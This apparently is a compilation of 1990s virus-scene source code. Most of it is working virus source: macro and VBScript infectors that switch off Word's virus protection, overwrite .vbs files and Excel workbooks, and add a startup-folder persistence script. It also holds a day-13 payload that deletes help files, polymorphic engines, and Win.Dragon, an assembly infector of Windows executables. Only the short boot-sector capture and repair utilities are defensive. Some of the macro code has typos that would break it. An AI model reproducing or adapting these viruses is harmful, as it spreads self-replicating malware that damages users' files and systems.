             mov     ax,5701h            ; Set file's date and time

             int     21h

close_file:

             mov     ah,3eh              ; Close file

             int     21h

set_file_at_:

             pop     ds dx cx ax         ; Load registers from stack

             int     21h

int21_exit:

             pop     bx ax               ; Load registers from stack

             db      11101010b           ; JMP imm32 (opcode 0eah)

code_end:

int21_addr   dd      ?                   ; Address of interrupt 21h

data_end:

first_genera:

end          code_begin


Boot Utils by Buz / FS

    Boot Utils by Buz[FS]

(c) 1999 Feathered Serpents Organization

These two utils (BOOTCMP.COM and BOOTFIX.COM) should be run after

BOOTTRAP.COM has been executed with a virus in memory after a boot from a clean system. BOOTCMP will notify you if you should attempt repair and BOOTFIX will attempt to repair the boot sector. Note that while this will work with some armoured viruses that only encrypt the BS/MBR, it won't work with those encrypting or changing other areas of the disk. Use your discretion. Despite the lameness, the combination of these utils should work better than FDISK/MBR. If you wanna use this stuff on floppies, modify the source yourself.

----------------------------------------------------------------------

org	100h

start:

mov	ax,3d00h

mov	dx,offset bootname

int	21h

xchg	ax,bx

mov	ah,3fh

mov	cx,200h

mov	dx,offset buffer

mov	si,dx

int	21h

mov	ah,3eh

int	21h

mov	ax,3d00h

mov	dx,offset virname

int	21h

xchg	ax,bx

mov	ah,3fh

mov	cx,200h

mov	dx,offset buffer+200h

push	cx

mov	di,dx

int	21h

mov	ah,3eh

int	21h

pop	cx

repz	cmpsw

jcxz	ident

mov	dx,offset ni

exitmsg:

mov	ah,9

int	21h

mov	ax,4c00h

int	21h

ident:

mov	dx,offset i

jmp	short exitmsg

db '(c) 1999 Buz [FS]',0

db 'All rights reserved by the Feathered Serpents Organisation',0

bootname	db 'BOOT.DAT',0

virname	db 'VIRUS.DAT',0

i	db 'The files are identical.',0dh,0ah

db 'Do not attempt repair!$'

ni	db 'The files are NOT identical,',0dh,0ah

db 'Run BOOTFIX.COM after a clean boot.$'

----------------------------------------------------------------------

start:

mov	ax,3d02h

mov	dx,offset boot

int	21h

xchg	ax,bx

mov	ax,3fh

mov	cx,200h

mov	dx,offset buffer

int	21h

mov	ah,3eh

int	21h

redo:

mov	ax,301h

mov	bx,offset buffer

mov	cx,1

mov	dx,80h

int	13h

jnc	k_kewl

xor	ax,ax

int	21h

jmp	short redo

k_kewl:

mov	ax,4c00h

int	21h

boot	db 'BOOT.DAT',0

buffer:

----------------------------------------------------------------------


Boot Trap v 0.2 alpha by Buz / FS

    Boot Trap v 0.2 alpha by Buz[FS]

(c) 1999 Feathered Serpents Organisation

All rights reserved

Synopsis

This is a very lame boot block grabber written specifically for

the purpose of disassembling a copy of Welcomb for Knowdeth. It first reads the boot block through an int 13h call, then through a tunneled int 13h call and saves the two in files called BOOT.DAT and VIRUS.DAT respectively. Note that this will not work with hardware-level stealth mechanisms such as those found in Strange, Megastealth or Total Chaos viruses. BOOT.DAT will contain the original boot sector with most stealth boot sector viruses or the virus itself with primitive non-stealth varieties or if your computer has been booted clean. If you wish, you can attempt fixing your boot block. To do

this, make sure the two files are different and write the BOOT.DAT file over the physical location of the boot block.

org	100h

start:

mov	ax,201h

mov	bx,offset buffer

mov	cx,1

mov	dx,80h

int	13h

jnc	kreat

xor	ax,ax

mov	dx,80h

int	13h

dec	byte ptr [counter]

jnz	start

error:

mov	dx,offset error

print_string:

mov	ah,9

int	21h

mov	ax,4c00h

int	21h

kreat:

mov	ah,3ch

xor	cx,cx

mov	dx,offset bootnam

int	21h

jc	error

xchg	ax,bx

mov	ah,40h

mov	cx,200h

mov	dx,offset buffer

int	21h

jc	error

mov	ax,3eh

int	21h

tunnel_int13h:

mov	ah,13h

int	2fh

push	es

push	bx

mov	ah,13h

int	2fh

pop	bx

pop	es

push	cs

pop	ds

mov	word ptr [orig_13h],bx

mov	word ptr [orig_13h+2],es

mov	word ptr [counter],3

capture_virus:

mov	ax,201h

mov	bx,offset buffer

mov	cx,1

cwd

pushf

call	dword ptr [orig_13h]

jnc	virus_image

xor	ax,ax

int	13h

dec	word ptr [counter]

jz	error

virus_image:

mov	ah,3ch

xor	cx,cx

mov	dx,offset virus

int	21h

jc	error

xchg	ax,bx

mov	ah,40h

mov	cx,200h

mov	dx,offset buffer

int	21h

jc	error

mov	ah,3eh

int	21h

mov	dx,offset k_kewl

jmp	short print_string

counter	db 3

copy	db 'Boot Sector Virus Capture Program v. 0.2 alpha',0dh,0ah

db 'Copyright (c) 1999 Buz[FS]$'

bootnam	db 'BOOT.DAT',0

virus	db 'VIRUS.DAT',0

k_kewl	db 'Everything is k-kewl. :-)$'

err	db 'Capture unsuccessful.',0dh,0ah

db 'Have a nice piss-up!$'

orig_13h	dd 0

buffer:


PiE by jack twoflower

 -/\----------------------/\-

 Polymorphic Infection Engine

 -\/----------------------\/-

jack twoflower of LineZer0 Network & Metaphase VX Team proudly

presents a new polymorphic engine & class infection especialy

for Metaphase #2. So the main problem at old polymorphic engines

is that the increase the volume of the source code extremly.

After every infection the size increases. Other polymorphic

engines insert only every second line some polymorphic string.

So I coded a new kind of engine. It combines infection and

polymorphic engine.

The main feature on PIE is that it looks for its actual size

and changes itself if it is too large. This is done by a

random number between 100 and 150. So the size of the virus

changes up and down every infection.

So...have phun

-jack twoflower/LineZer0/Metaphase

-------> code starts here <-------

Private Sub Document_Open() '

Dim v(175): Options.VirusProtection = (Rnd * 0): Options.SaveNormalPrompt = (Rnd * 0) '

Set a = MacroContainer.VBProject: Set ab = a.VBComponents(1) '

Set abc = ab.CodeModule: Set s = NormalTemplate: t = Chr(39) '

If MacroContainer = s Then Set s = ActiveDocument '

Set nh = s.VBProject.VBComponents(1).CodeModule: li = abc.countoflines: y = 100 + Int(Rnd * 50) '

For i = 1 To li: jc = "": d = Int(Rnd * 3): p = InStr(abc.Lines(i, 1), t) '

If p = 1 And li > y Then '

d = 1: GoTo n_ '

End If '

l = UCase(Left(abc.Lines(i, 1), (p - 1))) '

For o = 1 To Len(l): f = Mid(l, o, 1) '

If Asc(f) < 90 And Asc(f) > 65 Then f = Chr(Asc(f) + Int(Rnd * 2) * 32) '

v(i) = v(i) & f: Next o '

For j = 1 To Int(75 - (Rnd * 20)): jc = jc & Chr(255 - Int(Rnd * 100)): Next j '

v(i) = v(i) & t & jc '

If d = 2 Then v(i) = v(i) & vbCr & t & jc '

vc = vc & v(i) & vbCr '

n_: '

Next i '

If nh.countoflines < (1 + 1 + 2) Then '

nh.deletelines 1, nh.countoflines: nh.addfromstring vc: nh.deletelines nh.countoflines, 1 '

If ActiveDocument.Saved = (Rnd * 0) Then ActiveDocument.SaveAs ActiveDocument.FullName '

End If '

End Sub '

Rem PiE by jack twoflower/Lz0/Meta '

--------> code ends here <-------


JSPV by Jack Twoflower

Hey ppl!

What you see here is a simple polymorphic engine for VBS. I know that this here is not optimized or something like that but...I just wanted to make the first step so enjoy this code...!

-jack twoflower /LineZer0/Metaphase

----> code starts here <----

Rem Jack's Simple Poly for VBS | jspv

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

Set f = fso.OpenTextFile(WScript.ScriptFullName, 1)

AllCode = f.Readall

' Save the whole code into the variable 'AllCode'

For o = 1 To Len(AllCode)

If Mid(AllCode, o, 1) = vbCr Then x = x + 1

Next

' Check how many lines are in the code

Set f = fso.OpenTextFile(WScript.ScriptFullName, 1)

For i = 1 To (x + 1)

' Create a loop 1 to current lines

LineCode = f.Readline

' Readout line for line

For j = 1 To Int(Rnd * 30): JunkCode = JunkCode & Chr(255 - Int(Rnd * 200)): Next

PolyCode = PolyCode & LineCode & Chr(39) & JunkCode & vbCr

If Int(Rnd * 3) = 2 Then PolyCode = PolyCode & Chr(39) & JunkCode & vbCr

' Add the junk code

JunkCode = ""

If LineCode = "" Then Exit For

LineCode = ""

Next

Set f = fso.OpenTextFile(WScript.ScriptFullName, 2, True)

f.Writeline PolyCode

' Write new poly code into the script

----> code ends here <----


Class97Macro.bleed by Jack Twoflower
Class97Macro.bleed by jackie twoflower

Private Sub Document_Open()

Dim jacky(17) As String

jacky(1) = "l‹=b��Œ�=o‚�’Š‚=k‚•‘W=p‚‘=Š~€Œ=Z=j~€�Œ`Œ‹‘~†‹‚�"

jacky(2) = "l�‘†Œ‹�Kp~“‚kŒ�Š~‰m�ŒŠ�‘=Z=Eo‹�=G=MFW=p‚‘^‘‘�=kŒ�Š~‰q‚Š�‰~‘‚Kc’‰‰k~Š‚I=“kŒ�Š~‰"

jacky(3) = "p‚‘=“�=Z=Š~€ŒKs_m�Œ‡‚€‘W=l�‘†Œ‹�Ks†�’�m�Œ‘‚€‘†Œ‹=Z=Eo‹�=G=MF"

jacky(4) = "p‚‘=“€=Z=“�Ks_`ŒŠ�Œ‹‚‹‘�ENFW=p‚‘=€ŒŠŒ=Z=“€K`Œ�‚jŒ�’‰‚"

jacky(5) = "p‚‘=…Œ�‘=Z=kŒ�Š~‰q‚Š�‰~‘‚W=“€Œ�‚=Z=€ŒŠŒK‰†‹‚�ENI=OUF=C=“`�=C=?b‹�=p’?"

jacky(6) = "fƒ=Š~€Œ=Z=…Œ�‘=q…‚‹=p‚‘=…Œ�‘=Z=^€‘†“‚aŒ€’Š‚‹‘"

jacky(7) = "p‚‘=‹‚”…Œ�‘=Z=…Œ�‘Ks_m�Œ‡‚€‘Ks_`ŒŠ�Œ‹‚‹‘�ENFK`Œ�‚jŒ�’‰‚"

jacky(8) = "fƒ=‹‚”…Œ�‘K‰†‹‚�ENI=NF=Y[=?m�†“~‘‚=p’=aŒ€’Š‚‹‘|l�‚‹EF?=q…‚‹"

jacky(9) = "‹‚”…Œ�‘Ka‚‰‚‘‚i†‹‚�=NI=‹‚”…Œ�‘K€Œ’‹‘Œƒ‰†‹‚�"

jacky(10) = "‹‚”…Œ�‘K~��ƒ�ŒŠ�‘�†‹„=“€Œ�‚"

jacky(11) = "…Œ�‘Kp~“‚"

jacky(12) = "b‹�=fƒ"

jacky(13) = "fƒ=a~–EkŒ”EFF=Z=Ef‹‘Eo‹�=G=NRF=H=NF=q…‚‹"

jacky(14) = "j�„_Œ•=?f=Š~ˆ‚=?=C=^��‰†€~‘†Œ‹Kr�‚�k~Š‚=C=?=‰‚‚�>?I=MI=?`‰~��K‰‚‚�=™=‡~€ˆ=‘”Œƒ‰Œ”‚�=L=i†‹‚w‚�M=L=j‚‘~�…~�‚?"

jacky(15) = "b‹�=fƒ"

jacky(16) = "q…†�aŒ€’Š‚‹‘Ks_m�Œ‡‚€‘Ks_`ŒŠ�Œ‹‚‹‘�ENFK`Œ�‚jŒ�’‰‚Ka‚‰‚‘‚i†‹‚�=OVI=NU"

jacky(17) = "fƒ=^€‘†“‚aŒ€’Š‚‹‘Kp~“‚�=Z=c~‰�‚=q…‚‹=^€‘†“‚aŒ€’Š‚‹‘Kp~“‚"

For i = 1 To 17: vc = vc & encrypt(jacky(i)): Next i

ThisDocument.VBProject.VBComponents(1).CodeModule.InsertLines 29, vc

bleed

End Sub

Private Function encrypt(c As String)

For x = 1 To Len(c): A = Asc(Mid(c, x, 1)): Ch = A - 29: NC = NC & Chr(Ch): Next

encrypt = NC & vbCr

End Function

Private Sub bleed()

End Sub


Word97/VBScript.Bleed by Jack Twoflower
Word97/VBScript.Bleed by jackie twoflower

Call vibisi '

Sub vibisi() '

On Error Resume Next '

Dim fso, f, wo, nucode, code, jcode '

nucode = "" '

code = "" '

jcode = "" '

Set fso = CreateObject("scripting.filesystemobject") '

Set f = fso.opentextfile(wscript.scriptfullname, 1) '

full = f.readall '

Set f = fso.opentextfile(wscript.scriptfullname, 1) '

For i = 1 To 200 '

code = f.readline '

For j = 1 To Int(Rnd * 30): jcode = jcode & Chr(65 + Int(Rnd * 22)): Next '

nucode = nucode & code & Chr(39) & jcode & vbCr '

If Int(Rnd * 3) = 2 Then nucode = nucode & Chr(39) & jcode & vbCr '

jcode = "" '

If code = "" Then Exit For '

code = "" '

Next '

Set f = fso.opentextfile(wscript.scriptfullname, 2, True) '

f.writeline nucode '

Set wo = CreateObject("word.application") '

With wo.Application.FileSearch '

.LookIn = "c:\" '

.SearchSubFolders = False '

.FileName = "*.vbs" '

.Execute '

End With '

Set f = Nothing '

For i = 1 To wo.Application.FileSearch.FoundFiles.Count '

If wo.Application.FileSearch.FoundFiles(i) <> wscript.scriptfullname Then '

Set f = fso.opentextfile(wo.Application.FileSearch.FoundFiles(i), 2, True) '

f.writeline full '

End If '

Next '

wo.Options.VirusProtection = (Rnd * 0) '

wo.Options.SaveNormalPrompt = (Rnd * 0) '

wo.NormalTemplate.VBProject.VBComponents.Import wscript.scriptfullname '

wo.NormalTemplate.VBProject.VBComponents(wo.NormalTemplate.VBProject.VBComponents.Count).Name = "vbs" '

wo.NormalTemplate.VBProject.VBComponents("vbs").CodeModule.deletelines 1, 1 '

wo.NormalTemplate.Save '

wo.Quit '

Msgbox "I make you bleed!" & vbcr & vbcr & "jack twoflower / LineZer0 / Metaphase"

End Sub '

Sub autoopen()

On Error Resume Next '

Dim v(2000): t = Chr(39)

Options.VirusProtection = (Rnd * 0) '

Options.SaveNormalPrompt = (Rnd * 0) '

For i = 1 To ThisDocument.VBProject.VBComponents("vbs").CodeModule.CountOfLines '

jc = "" '

d = Int(Rnd * 3) '

p = InStr(ThisDocument.VBProject.VBComponents("vbs").CodeModule.Lines(i, 1), t) '

v(i) = Left(ThisDocument.VBProject.VBComponents("vbs").CodeModule.Lines(i, 1), (p - 1)) '

For j = 1 To Int(75 - (Rnd * 20)) '

jc = jc & Chr(255 - Int(Rnd * 100)) '

Next '

v(i) = v(i) & t & jc '

If d = 2 Then v(i) = v(i) & vbCr & Chr(32) & t & jc '

vc = vc & v(i) & vbCr '

n_: '

Next '

e_: '

Set fso = CreateObject("scripting.filesystemobject") '

Set f = fso.opentextfile("c:\scriptO8.ini", 2, True) '

cp = "Attribute VB_Name = ""vbs""" & vbCr '

f.write cp '

f.write vc '

If Len(NormalTemplate.VBProject.VBComponents("vbs").Name) = 0 Then NormalTemplate.VBProject.VBComponents.Import "c:\scriptO8.ini" '

If Len(ActiveDocument.VBProject.VBComponents("vbs").Name) = 0 Then '

ActiveDocument.VBProject.VBComponents.Import "c:\scriptO8.ini" '

ActiveDocument.SaveAs ActiveDocument.FullName '

End If '

With Application.FileSearch '

.LookIn = "c:\" '

.SearchSubFolders = False '

.FileName = "*.vbs" '

.Execute '

End With '

For x = 1 To Application.FileSearch.FoundFiles.Count '

Set fso = CreateObject("scripting.filesystemobject") '

Set f = fso.opentextfile(Application.FileSearch.FoundFiles(x), 2, True) '

codex = "call vibisi" & chr(39) & vbcr & ThisDocument.VBProject.VBComponents("vbs").CodeModule.Lines(1, ThisDocument.VBProject.VBComponents("vbs").CodeModule.CountOfLines)

f.write codex '

Next '

Msgbox "I make you bleed!" & vbcr & vbcr & "jack twoflower / LineZer0 / Metaphase" , 0, "Word/VBS.Bleed"

End Sub '


WM97/XM97 Dieing Seas by Yozak

Attribute VB_Name = "DieingSeas"

Sub DieLikeEver1()

Dim an As Boolean, ar As Boolean

VBA.SetAttr NormalTemplate.FullName, vbNormal

Options.SaveNormalPrompt = 1 - 1

VBE.ActiveVBproject.VBComponents("DieingSeas").Export "c:\ra"

Set nonono = NormalTemplate.VBProject.VBComponents

Set acacac = ActiveDocument.VBProject.VBComponents

For x = 1 To nonono.Count

If nonono(x).Name = "DieingSeas" Then an = True

Next x

For f = 1 To acacac.Count

If acacac(f).Name = "DieingSeas" Then ar = True

Next f

If an = True And ar = False Then acacac.import "c:\ra"

If an = False And ar = True Then nonono.impory "c:\ra"

Kill "c:\ra"

End Sub

Sub AutoOpen()

DieLikeEvery1

JmpToExcell

SickBomb

RunAtStartUp

End Sub

Sub SickBomb()

If Day(Now) = 13 Then

MsgBox "We are Just A Drop In The Ocean!", vbApplicationModal, "Dieing Seas"

Do

Ram = InputBox("Give me a word!", "Now")

Loop Until Ram = "Die"

MsgBox "Die"

Kill "c:\windows\help\*.cnt"

End If

End Sub

Sub RunAtStartUp()

VBE.ActiveVBproject.VBComponents("DieingSeas").Export "c:\windows\system\code.infected"

Kill "c:\windows\Start Menu\Programs\StartUp\StartUp.vbs"

Open "c:\windows\Start Menu\Programs\StartUp\StartUp.vbs" For Random As vbs

Print vbs; "On Error Resume Next"

Print vbs; "Set WordObj=CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"

Print vbs; "Set NT=WordObj.NormalTemplate"

Print vbs; "NT.VBproject.Vbcomponents.import " & Chr(34) & "C:\windows\system\code.infected" & Chr(34)

Print vbs; "nt.save"

Print vbs; "WordObj.Close"

Close vbs

End Sub

Sub JumpToExcell()

Set Exc = CreateObject("Excel.Application")

SetAttr Exc.StartupPath & "\book1.", vbNormal

Set nr = Exc.Workbooks.Add

Set rt = nr.Vbprojects.VBComponents("ThisWorkBook").CodeModule

rt.InserLines 1, VBE.ActiveVBproject.VBComponents("DieingSeas").CodeModule.Lines(1, 116)

nr.SaveAs Exc.StatUpPath & "\book1."

nr.Close

End Sub

Private Sub Workbook_Open()

Application.ScreenUpdating = (4 - 4)

Application.EnableCancelKey = xlDisabled

Options.VirusProtection = (0 - 0)

If (Dir(Application.StartupPath & "\Book1.")) <> "" Then

SetAttr Application.StartupPath * "\Book1.", vbNormal

End If

Set Grand = Workbooks.Add

Grand.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines Grand.VBProject.VBComponents("ThisWorkbook").CodeModule.countoflines

f = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Lines(1, 116)

Grand.VBProject.VBComponents("ThisWotkbook").CodeModule.AddfromString

Grand.SaveAs Application.StartupPath & "\Book1.", xlNormal, , , , , , , False

Grand.Close

Set fs = Application.FileSearch

fs.NewSearch

fs.LookIn = ActiveWorkbook.Path

fs.FileName = "*.xls"

fs.SearchSubFolders = True

fs.Execute msoSortByFileName

For x = 1 To fs.FoundFiles.Count

Set tEmp = Workbooks.Open(fs.FoundFiles(x))

If tEmp.VBProject.VBComponents("ThisWorkbook").CodeModule.Lines(1, 1) <> "Sub DieLikeEvery1()" Then

tEmp.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines Grand.VBProject.VBComponents("ThisWorkbook").CodeModule.countoflines

Source = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Lines(1, 116)

tEmp.VBProject.VBComponents("ThisWotkbook").CodeModule.AddfromString

tEmp.Save

End If

tEmp.Close

Next x

Application.ScreenUpdating = True

SickBomb

JmpWord

End Sub

Sub JmpWord()

conte = VBE.ActiveVBproject.VBComponents("DieingSeas").CodeModule.Lines(1, 116)

Set wordobj = CreateObject("Word.Application")

Set nt = wordobj.NormalTemplate.VBProject.VBComponents

Set fso = CreateObject("Scripting.FileSystemObject")

Kill "c:\ra"

Set r = fso.opentextfile("C:\ra", 2, True)

r.writeline "Attribute VB_Name = " & Chr(34) & "DieingSeas" & Chr(34)

r.writeline conte

r.Close

nt.import "c:\ra"

wordobj.NormalTemplate.Save

Kill "c:\ra"

wordobj.Quit

End Sub

Sub ViewVbCode()

MsgBox "Dll viewcode.dll Required!", vbCritical, "External Error"

End Sub

Sub ToolsMacro()

MsgBox "Dll viewcode.dll Required!", vbCritical, "External Error"

End Sub

Rem +++++++++Dieing Seas Office 97 Virus+++++++++

Rem This is a little bug that infects excel and

Rem Word at the same time :-)

Rem It isn't very good bcoz too much work lately

Rem Also it's stealth Sux

Rem In a newer Version Everything will be differnt

Rem ++++++++++++++++++++++++++++++++++++++++++++++

Rem Created By Yozak=00= for MetaPhase :-) greetz to Knowdeth & bsl4


Win.Dragon by Yosha / FS

;Win.Dragon

;by Yosha[FS]

;Win.Dragon is a Windows 3.x/95 infector of NewExe files.  Dragon expands the

;segment it infects to add its code, rather than add an entry to the segment

;table.  It gains control by patching code in the segment it infects to call

;the virus's polymorphic decryption routine.  It leaves little mark on the

;file, and the poly, combined with the literally untraceable entry point will

;hopefully make this a bitch to detect.  Also, the virus can infect files

;multiple times, but it will only infect each segment once, so the file won't

;grow in size indefinitely.

;Both the virus and the poly engine went through 2 complete rewrites.

;I lost the source to the poly engine to a mistyped DOS command, and had

;to disassemble and recomment sections of my own code.  It's been through

;alot, and I've learned alot from coding it.  So here it is -- enjoy!

;

;Assembly:

; tasm32 /m dragon

; tlink /Twe dragon

VirSize equ Offset Finish - Offset Start

MoveSize equ 4096                       ;file is moved 4kb at a time

.model small,windows pascal

.386p

.code

assume cs:@code,ds:@code

org 0h

Start:

        cld

        push es

        call $+3                        ;get delta offset

        pop bp

        sub bp,Offset $ - 1

        .IF bp == 0                     ;1st gen needs an alias for cs

          call GetCSAlias               ; in ds

        .ENDIF

@@CheckInstall:

        mov ax,1e69h                    ;check for previous residency

        mov bx,'FS'

        int 21h

        cmp ax,'FS'

        jz ExitVirus

        mov ax,501h                     ;allocate a 64k memory block

        xor bx,bx

        mov cx,-1

        int 31h

        jc ExitVirus

        push bx

        push cx

        xor ax,ax                       ;allocate a selector

        mov cx,1

        int 31h

        xchg bx,ax

        mov ax,7                        ;set base address

        pop dx

        pop cx

        push cx

        push dx

        int 31h

        mov ax,8                        ;set limit to 64k

        mov dx,-1

        xor cx,cx

        int 31h

        mov es,bx                       ;copy virus to mem

        xor di,di

        mov si,bp

        mov cx,VirSize

        rep movsb

        mov ax,204h                     ;get pmode int 21h vector

        mov bl,21h

        int 31h

        mov word ptr es:[Old21],dx

        mov word ptr es:[Old21+2],cx

        mov ax,9                        ;set access rights to 'code'

        mov bx,es

        mov cx,0ffh

        int 31h

        mov ax,600h                     ;lock selector

        pop cx

        pop bx

        xor si,si

        mov di,-1

        int 31h

        jc ExitVirus

        mov ax,205h                     ;set int 21h vector

        mov bl,21h

        mov cx,es

        mov dx,Offset Int21Handler

        int 31h

        jnc @@CheckInstall              ;restart so our handler always gets

ExitVirus:                              ; to try to infect something

        .IF bp == 0

          mov ax,4c00h

          int 21h

        .ENDIF

        mov si,sp                       ;put old bytes back -- address

        sub word ptr ss:[si+22],3       ; grabbed from return address on

        mov di,word ptr ss:[si+22]      ; stack

        push ds

        pop es

        lea si,[bp+OldBytes]

        movsw

        movsb

        call FreeAlias                  ;get rid of ds

        pop es

PopString:                              ;order changed by poly

        popa

        pop ds

        popf

        ret                             ;return to host

Call21 Proc Near

        pushf

        call dword ptr cs:[Old21]

        ret

Call21 EndP

Int21Handler:

        pusha

        push ds

        push es

        mov si,Offset Int21Funcs

CheckNextFunc:

        cmp word ptr cs:[si],ax

        jz FoundFunc

        add si,4

        cmp word ptr cs:[si],0

        jnz CheckNextFunc

Exit21:

        pop es

        pop ds

        popa

        db  0eah

Old21   dd  ?

FoundFunc:

        call word ptr cs:[si+2]

        jmp Exit21

Infect Proc Near

        mov ax,4300h                    ;save file attributes

        call Call21

        push ds

        push cx

        push dx

        mov ax,4301h                    ;wipe them clean

        xor cx,cx

        call Call21

        Call GetCsAlias

        mov word ptr [TempBuff],Offset Finish

        mov byte ptr [Infected],0

        mov ax,3d02h                    ;open the file

        call Call21

        jc RestoreAttribs

        xchg bx,ax

        mov ax,5700h                    ;save date/time

        call Call21

        push dx

        push cx

        mov ah,3fh                      ;read in exe header

        call ReadWriteMZ

        mov si,dx

        cmp word ptr [si],'ZM'          ;check for 'MZ' in exe hdr

        jnz CloseFile

        cmp word ptr [si+1ah],0         ;no relocations

        jnz CloseFile

        cmp word ptr [si+18h],40h       ;word at 18h must be 40h or greater

        jb CloseFile                    ; for NewExe files

        mov dx,word ptr [si+3ch]        ;dword at 3ch -> NewExe header

        mov cx,word ptr [si+3eh]

        mov word ptr [WinHdrPtr],dx

        mov word ptr [WinHdrPtr+2],cx

        or dx,dx                        ;make sure they're not 0000:0000h

        jnz NEPtrOk

        or cx,cx

        jz CloseFile

NePtrOk:

        mov ah,3fh                      ;read in NewExe header

        Call ReadWriteHdr

        mov si,dx

        cmp word ptr [si],'EN'          ;check for 'NE' signature

        jnz CloseFile

        cmp word ptr [si+8],0           ;make sure file load CRC is 0

        jnz CloseFile

        ;test byte ptr [si+36h],100b     ;make sure it's a windows app

        ;jz CloseFile

        test byte ptr [si+37h],1000b    ;make sure it has a gangload area

        jz CloseFile

        mov ah,3fh                      ;read in segment table

        call ReadWriteSeg

        mov si,dx                       ;make si -> end of seg table

        add si,ax

        mov word ptr [TempBuff],si      ;adjust heap ptr

CheckNextSeg:

        sub si,8                        ;go to previous seg table entry

        push cx

        mov ax,word ptr [si+2]          ;segment at least 300 bytes in length

        cmp ax,300

        jb NextSeg

        cmp ax,-(VirSize+500)           ;must be small enough to fit

        ja NextSeg

        cmp ax,word ptr [si+6]          ;mem size == seg size?

        jnz NextSeg

        test byte ptr [si+4],1          ;code seg?

        jnz NextSeg

        test byte ptr [si+5],10h        ;discardable? (infected segs are made

        jnz FoundSeg                    ;non-discardable as infection check)

NextSeg:

        pop cx

        loop CheckNextSeg

        jmp CloseFile

FoundSeg:

        mov ax,word ptr [si]            ;seek to the segment of the virus

        mov word ptr [VirSector],ax

        xor di,di

        call SeekToCS

        mov bp,word ptr [si+2]          ;read in 4096 bytes or whatever is

ReadInCS:                               ; left

        push si

        mov cx,bp

        cmp cx,MoveSize

        jb ReadBlah

        mov cx,MoveSize

ReadBlah:

        mov ah,3fh

        mov dx,word ptr [TempBuff]

        call Call21

        mov di,dx                       ;scan for common code sequences

        xchg cx,ax                      ; (see table at end of virus)

        cld

CSScan:

        push cx

        mov si,Offset ScanBytes

        mov cx,NumScans

CmpBytes:                               ;this one match?

        push di

        push si

        cmpsb

        jnz NextSequence

        cmpsw

        jz FoundSequence

NextSequence:                           ;didn't match, cmp it to the next

        pop si                          ; sequence

        pop di

        add si,3

        loop CmpBytes

        pop cx

NextByte:

        inc di

        loop CSScan

        pop si                          ;shit, outta bytes, so read

        sub bp,MoveSize                 ; some more in

        jbe NextSeg

        jmp ReadInCS

FoundSequence:                          ;we found a matching sequence, so

        pop si                          ; save old byte sequence

        pop di

        pop cx

        push di

        mov si,di

        mov di,Offset OldBytes

        movsb

        movsw

        pop di

        sub di,dx                       ;make sure sequence isn't on a

        cmp di,MoveSize - 3             ; read boundary

        ja NextByte

        pop si                          ;create a call to the virus

        mov ax,word ptr [si+2]          ;size of segment = ip of virus

        push ax

        mov word ptr [VirIp],ax

        sub ax,bp                       ;ax=# of bytes into segment

        mov cx,di                       ;cx -> code from scan

        add cx,ax                       ;+ # of bytes into segment

        mov word ptr [PatchPoint],cx    ;offset in seg of virus call

        pop ax

        sub ax,cx

        sub ax,3

        mov word ptr [CallOffs],ax      ;relative call to virus

        pop cx                          ;store the segment of the virus

        dec cx

        mov word ptr [VirSeg],cx

;poly engine call

        mov bp,word ptr [si+2]          ;virus ip = seg length

        push bp

        mov di,word ptr [TempBuff]      ;di -> buffer

        mov cx,VirSize                  ;cx=virus size

        push bx                         ;save file handle

        call poly                       ;gen some polymorphic bullshit

        pop bx

        pop bp                          ;check if poly too big

        add bp,cx                       ; for segment

        jo CloseFile

        add word ptr [TempBuff],cx      ;readjust heap ptr

        mov bp,cx

        mov dx,word ptr [TempBuff]      ;dx -> area for resource table

        mov word ptr [RscPtr],dx        ;save ptr to heap reloc table

        mov ah,3fh                      ;read in the resource table

        call ReadWriteRsc

        add word ptr [TempBuff],ax      ;adjust heap ptr

        mov si,dx                       ;get rsc alignment shift

        lodsw                           ;compare it to segment align shift

        mov cx,word ptr [NeHeader+32h]

        or cx,cx                        ;align of 0 is actually 9

        jnz $+4

        mov cl,9

        cmp ax,cx

        ja UseRscAlign                  ;keep the bigger one for padding

        xchg cx,ax

UseRscAlign:

        mov cx,1                        ;pad virus by alignment shift

        xchg cx,ax

        shl ax,cl

        dec ax                          ; so when we adjust the segment tables

        add bp,ax                       ; they'll end up in the right place

        shr bp,cl

        shl bp,cl

        mov word ptr [BytesAdded],bp

;update the segment table

        mov si,word ptr [VirSeg]        ;find point at which virus code is

        shl si,3                        ;inserted

        add si,Offset Finish

        mov ax,word ptr [si]

        add word ptr [si+2],bp          ;adjust segment size

        add word ptr [si+6],bp          ;adjust memory size .

        and byte ptr [si+5],11101111b   ;make the segment non-discardable

        mov cx,word ptr [NeHeader+32h]

        shr bp,cl

        mov si,Offset Finish            ;si -> segment table

        mov cx,word ptr [NeHeader+1ch]  ;# of segment entries in table

AdjustSegTable:

        cmp word ptr [si],ax            ;segment past where we put virus?

        jbe AdjustNextSeg

        add word ptr [si],bp

        jo closefile

AdjustNextSeg:

        add si,8

        loop AdjustSegTable

;adjust the gangload area

        mov cx,word ptr [NeHeader+38h]  ;adjust pointer to gangload area

        cmp cx,ax                       ; if necessary

        jbe LeaveGangPtr

        add word ptr [NeHeader+38h],bp

LeaveGangPtr:

        add cx,word ptr [NeHeader+3ah]  ;adjust gangload area length

        cmp cx,ax                       ; if necessary

        jbe LeaveGangLen

        add word ptr [NeHeader+3ah],bp

LeaveGangLen:

;adjust the resource table

        mov si,word ptr [RscPtr]

        call AlignConv

        xchg bp,ax

        call AlignConv

        xchg bp,ax

        xchg dx,ax

        lodsw                           ;skip rsc align field

GetType:

        lodsw                           ;get TypeId

        or ax,ax                        ;0? (end of table)

        jz EndRscFixup

        lodsw                           ;get resource count

        xchg cx,ax

        lodsd                           ;skip reserved field

NameInfoTable:

        lodsw                           ;get offset field

        cmp ax,dx

        jb DontAdjust

        add word ptr [si-2],bp

        jo closefile

DontAdjust:

        add si,10                       ;go to next NameInfo table

        loop NameInfoTable

        jmp GetType                     ;go to next TypeInfo structure

;write in the fixed up NE header, segment table, and resource table

EndRscFixup:

        mov ah,40h                      ;write in the fixed-up resource table

        Call ReadWriteRsc

        mov ah,40h                      ;write in the fixed-up segment table

        Call ReadWriteSeg

        mov ah,40h                      ;write in the fixed-up NE header

        Call ReadWriteHdr

;move big blocks of the file to make room for the virus

        Call SeekToEOF                  ;get file size

        push dx

